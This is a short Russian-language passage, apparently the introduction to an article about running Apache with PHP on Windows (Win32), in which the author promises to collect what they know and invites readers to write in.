Придется ли? Скорее всего, нет! Конечно, универсального решения я выдать не смогу, но постараюсь объединить в данной статье все (ну, или почти все) что известно мне о работе Апача + PHP под Win32. Возможно, статья будет исправлена и дополнена. Пишите письма.